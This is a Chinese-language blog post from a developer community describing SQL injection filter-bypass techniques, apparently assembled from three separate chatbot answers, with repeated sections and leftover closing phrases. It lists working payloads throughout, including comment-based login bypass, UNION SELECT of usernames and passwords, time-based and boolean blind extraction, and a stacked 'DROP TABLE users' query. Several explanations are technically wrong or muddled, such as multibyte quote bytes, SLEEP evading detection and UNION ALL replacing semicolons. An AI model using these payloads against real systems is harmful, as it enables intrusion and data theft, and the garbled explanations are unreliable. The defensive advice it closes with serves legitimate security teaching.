【详解】常用SQL注入绕过技术

举报
皮牙子抓饭 发表于 2025/10/07 18:08:56 2025/10/07
【摘要】 常用SQL注入绕过技术在Web安全领域,SQL注入是一种常见的攻击方式,攻击者通过在输入字段中插入恶意的SQL代码,试图操纵后端数据库的行为。为了应对各种防护措施,攻击者不断开发出新的绕过技术。本文将探讨几种常用的SQL注入绕过技术,帮助开发者更好地理解这些攻击手段,并采取相应的防御措施。1. 使用注释符绕过许多Web应用在处理用户输入时会过滤掉某些特殊字符,如单引号 ​​'​​ 和双引号 ...

常用SQL注入绕过技术

在Web安全领域,SQL注入是一种常见的攻击方式,攻击者通过在输入字段中插入恶意的SQL代码,试图操纵后端数据库的行为。为了应对各种防护措施,攻击者不断开发出新的绕过技术。本文将探讨几种常用的SQL注入绕过技术,帮助开发者更好地理解这些攻击手段,并采取相应的防御措施。

1. 使用注释符绕过

许多Web应用在处理用户输入时会过滤掉某些特殊字符,如单引号 ​​'​​ 和双引号 ​​"​​。然而,SQL语言允许使用注释符来绕过这种简单的过滤。例如,MySQL支持 ​​#​​ 和 ​​--​​ 作为注释符,可以用来终止SQL语句的一部分。

示例

假设有一个登录表单,用户名和密码通过以下SQL查询进行验证:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

如果输入如下内容:

  • 用户名: ​​admin' --​
  • 密码: ​​anything​

则生成的SQL查询将是:

SELECT * FROM users WHERE username = 'admin' -- AND password = 'anything'

由于 ​​--​​ 是注释符,​​AND password = 'anything'​​ 被视为注释,实际执行的查询变为:

SELECT * FROM users WHERE username = 'admin'

这将导致攻击者以管理员身份登录。

2. 利用多字节字符

多字节字符集(如UTF-8)中的某些字符可能会被错误地解析,从而绕过过滤。例如,某些过滤器可能只检查单个字符,而忽略多字节字符。

示例

假设一个过滤器会删除所有单引号 ​​'​​,但不检查多字节字符。攻击者可以利用这一点,输入一个多字节字符,其中包含一个单引号。例如,在UTF-8编码中,字符 ​​‘​​(U+2018)的字节序列为 ​​E2 80 98​​,其中包含一个字节 ​​98​​,在某些情况下可能被解析为单引号。

3. 利用SQL函数

SQL语言提供了丰富的内置函数,这些函数可以用来构造复杂的SQL注入攻击。攻击者可以通过嵌套函数或使用字符串操作函数来绕过过滤。

示例

假设一个过滤器会删除所有单引号 ​​'​​ 和双引号 ​​"​​,但不检查其他字符。攻击者可以使用 ​​CHAR()​​ 函数来构造字符串。例如:

SELECT * FROM users WHERE username = CHAR(97,100,109,105,110)

上述查询等价于:

SELECT * FROM users WHERE username = 'admin'

4. 利用联合查询

联合查询(UNION SELECT)可以将多个查询结果合并在一起。攻击者可以利用这一点,通过构造一个合法的查询结果来绕过某些防护措施。

示例

假设一个搜索功能使用以下查询:

SELECT * FROM articles WHERE title LIKE '%$search%'

攻击者可以输入:

  • 搜索关键词: ​​anything' UNION SELECT * FROM users --​

生成的SQL查询将是:

SELECT * FROM articles WHERE title LIKE '%anything' UNION SELECT * FROM users --%'

这将返回 ​​articles​​ 表和 ​​users​​ 表的联合结果,泄露了用户的敏感信息。

5. 利用时间延迟

某些防护措施会检测SQL注入的特征,如异常的查询时间和错误消息。攻击者可以利用时间延迟函数(如 ​​SLEEP()​​ 或 ​​BENCHMARK()​​)来绕过这些检测。

示例

假设一个应用会记录所有查询时间超过1秒的请求。攻击者可以使用 ​​SLEEP()​​ 函数来触发时间延迟:

SELECT * FROM users WHERE id = 1 AND SLEEP(5)

如果查询时间超过1秒,应用可能会误判为正常行为,从而绕过了检测。


以上是关于常用SQL注入绕过技术的技术博客文章。希望对您有所帮助!如果您有任何问题或需要进一步的信息,请随时提问。SQL注入是一种常见的安全漏洞,攻击者通过在输入字段中插入恶意SQL代码来操纵数据库查询。为了防止SQL注入,开发人员通常会使用参数化查询、预编译语句和输入验证等方法。然而,有时攻击者仍可能利用某些技术绕过这些防护措施。

以下是一些常见的SQL注入绕过技术及其示例代码:

1. 使用注释符绕过过滤

有些系统可能会对某些特殊字符进行过滤,但可能忽略了注释符。攻击者可以利用注释符来绕过这些过滤。

示例代码: 假设有一个登录表单,用户名和密码通过以下SQL查询进行验证:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

如果系统过滤了单引号 ​​'​​,但没有过滤注释符 ​​--​​,攻击者可以构造如下输入:

  • 用户名: ​​admin​
  • 密码: ​​anything' --​

生成的SQL查询将变为:

SELECT * FROM users WHERE username = 'admin' AND password = 'anything' --';

由于 ​​--​​ 是SQL中的注释符,从 ​​--​​ 开始的内容将被忽略,因此查询实际上变成了:

SELECT * FROM users WHERE username = 'admin' AND password = 'anything'

2. 使用联合查询(UNION)

联合查询可以将多个查询结果合并在一起,攻击者可以利用这一点来获取额外的信息。

示例代码: 假设有一个搜索功能,用户可以通过以下SQL查询搜索文章:

SELECT title, content FROM articles WHERE title LIKE '%$query%';

攻击者可以构造如下输入:

  • 查询: ​​anything' UNION SELECT username, password FROM users --​

生成的SQL查询将变为:

SELECT title, content FROM articles WHERE title LIKE '%anything' UNION SELECT username, password FROM users --%';

由于 ​​UNION​​ 将两个查询结果合并在一起,攻击者可以获取 ​​users​​ 表中的用户名和密码。

3. 使用时间延迟(Time-based Blind SQL Injection)

在某些情况下,攻击者无法直接看到查询结果,但可以通过观察响应时间来判断查询是否成功。这种技术称为时间延迟盲注。

示例代码: 假设有一个搜索功能,用户可以通过以下SQL查询搜索文章:

SELECT * FROM articles WHERE id = $id;

攻击者可以构造如下输入:

  • ID: ​​1 AND IF((SELECT username FROM users LIMIT 1) = 'admin', SLEEP(5), 0)​

生成的SQL查询将变为:

SELECT * FROM articles WHERE id = 1 AND IF((SELECT username FROM users LIMIT 1) = 'admin', SLEEP(5), 0);

如果 ​​users​​ 表中第一个用户的用户名是 ​​admin​​,则 ​​SLEEP(5)​​ 会使查询延迟5秒。攻击者可以通过观察响应时间来判断条件是否为真。

4. 使用布尔盲注(Boolean-based Blind SQL Injection)

布尔盲注通过观察页面的不同响应来判断查询结果。

示例代码: 假设有一个搜索功能,用户可以通过以下SQL查询搜索文章:

SELECT * FROM articles WHERE id = $id;

攻击者可以构造如下输入:

  • ID: ​​1 AND (SELECT username FROM users LIMIT 1) = 'admin'​

生成的SQL查询将变为:

SELECT * FROM articles WHERE id = 1 AND (SELECT username FROM users LIMIT 1) = 'admin';

如果 ​​users​​ 表中第一个用户的用户名是 ​​admin​​,查询将返回结果;否则,查询将不返回任何结果。攻击者可以通过观察页面是否有结果来判断条件是否为真。

防护措施

为了防止SQL注入,建议采取以下措施:

  1. 使用参数化查询或预编译语句:这是最有效的防护措施。
  2. 输入验证:对所有用户输入进行严格的验证和过滤。
  3. 最小权限原则:数据库账户应具有最小必要权限。
  4. 日志记录和监控:记录和监控所有数据库操作,及时发现异常行为。

希望这些示例能帮助你更好地理解SQL注入绕过技术,并采取相应的防护措施。SQL注入是一种常见的安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码来操纵数据库查询。为了防止SQL注入,许多系统和应用程序会使用输入验证、参数化查询等方法。然而,攻击者有时会尝试绕过这些防护措施。下面介绍一些常见的SQL注入绕过技术及其背后的原理:

1. 字符编码绕过

  • 技术描述:某些输入过滤可能会阻止特定的字符或字符串(如 ​​'​​ 或 ​​--​​)。攻击者可以通过对这些字符进行编码(例如URL编码、十六进制编码)来绕过简单的字符过滤。
  • 示例
' OR '1'='1 --
  • 可以编码为:
%27%20OR%20%271%27%3D%271%20--%20

2. 注释符绕过

  • 技术描述:某些过滤器可能会简单地删除或替换注释符(如 ​​--​​ 或 ​​/* */​​)。攻击者可以使用其他形式的注释或空格来绕过这些过滤器。
  • 示例
' OR '1'='1 /*
  • 或者使用多行注释:
' OR '1'='1 --

3. 分隔符绕过

  • 技术描述:某些过滤器可能会阻止使用分号(​​;​​)或其他分隔符。攻击者可以使用其他方法来分隔多个查询。
  • 示例
' UNION SELECT * FROM users --
  • 如果分号被过滤,可以尝试使用其他方法:
' UNION ALL SELECT * FROM users --

4. 大小写绕过

  • 技术描述:某些过滤器可能会对关键字进行大小写检查。攻击者可以通过混合大小写来绕过这些检查。
  • 示例
' Or '1'='1 --
  • 或者:
' oR '1'='1 --

5. 多字节字符绕过

  • 技术描述:某些过滤器可能会基于单字节字符进行检查。攻击者可以使用多字节字符来绕过这些检查。
  • 示例
' OR '1'='1 --
  • 可以使用多字节字符:
' OR '1'='1 --%ef%bc%80

6. 时间延迟绕过

  • 技术描述:某些过滤器可能会检测到注入尝试并立即返回错误。攻击者可以使用时间延迟函数(如 ​​SLEEP​​)来确认注入点的存在。
  • 示例
' OR SLEEP(5) --

7. 盲注绕过

  • 技术描述:如果直接注入不可行,攻击者可以使用盲注技术来逐位猜测数据。这通常涉及条件判断和时间延迟。
  • 示例
' AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a') THEN SLEEP(5) ELSE 0 END) --

8. 堆叠查询绕过

  • 技术描述:某些过滤器可能会阻止使用分号(​​;​​)来分隔多个查询。攻击者可以使用其他方法来执行多个查询。
  • 示例
' ; DROP TABLE users; --
  • 如果分号被过滤,可以尝试使用其他方法:
' UNION ALL SELECT * FROM (SELECT 'DROP TABLE users') a --

9. SQL函数绕过

  • 技术描述:某些过滤器可能会阻止使用特定的SQL函数。攻击者可以使用其他函数或组合函数来达到相同的效果。
  • 示例
' OR '1'='1 UNION SELECT version() --
  • 如果 ​​UNION​​ 被过滤,可以尝试使用 ​​UNION ALL​​:
' OR '1'='1 UNION ALL SELECT version() --

10. 编码和解码函数绕过

  • 技术描述:某些过滤器可能会阻止使用特定的字符或字符串。攻击者可以使用编码和解码函数来绕过这些过滤器。
  • 示例
' OR '1'='1 UNION SELECT UNHEX('53514c494e4a454354') --

防护措施

尽管上述技术可以帮助攻击者绕过一些基本的防护措施,但最佳实践是采用多层次的安全策略,包括但不限于:

  • 参数化查询:使用预编译的SQL语句,避免直接拼接用户输入。
  • 输入验证:对用户输入进行严格的验证,确保其符合预期格式。
  • 最小权限原则:数据库用户应具有最小必要的权限,减少潜在的危害。
  • 安全审计:定期进行安全审计和漏洞扫描,及时发现和修复安全问题。

希望这些信息对你有所帮助!如果你有更多具体的问题或需要进一步的解释,请告诉我。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。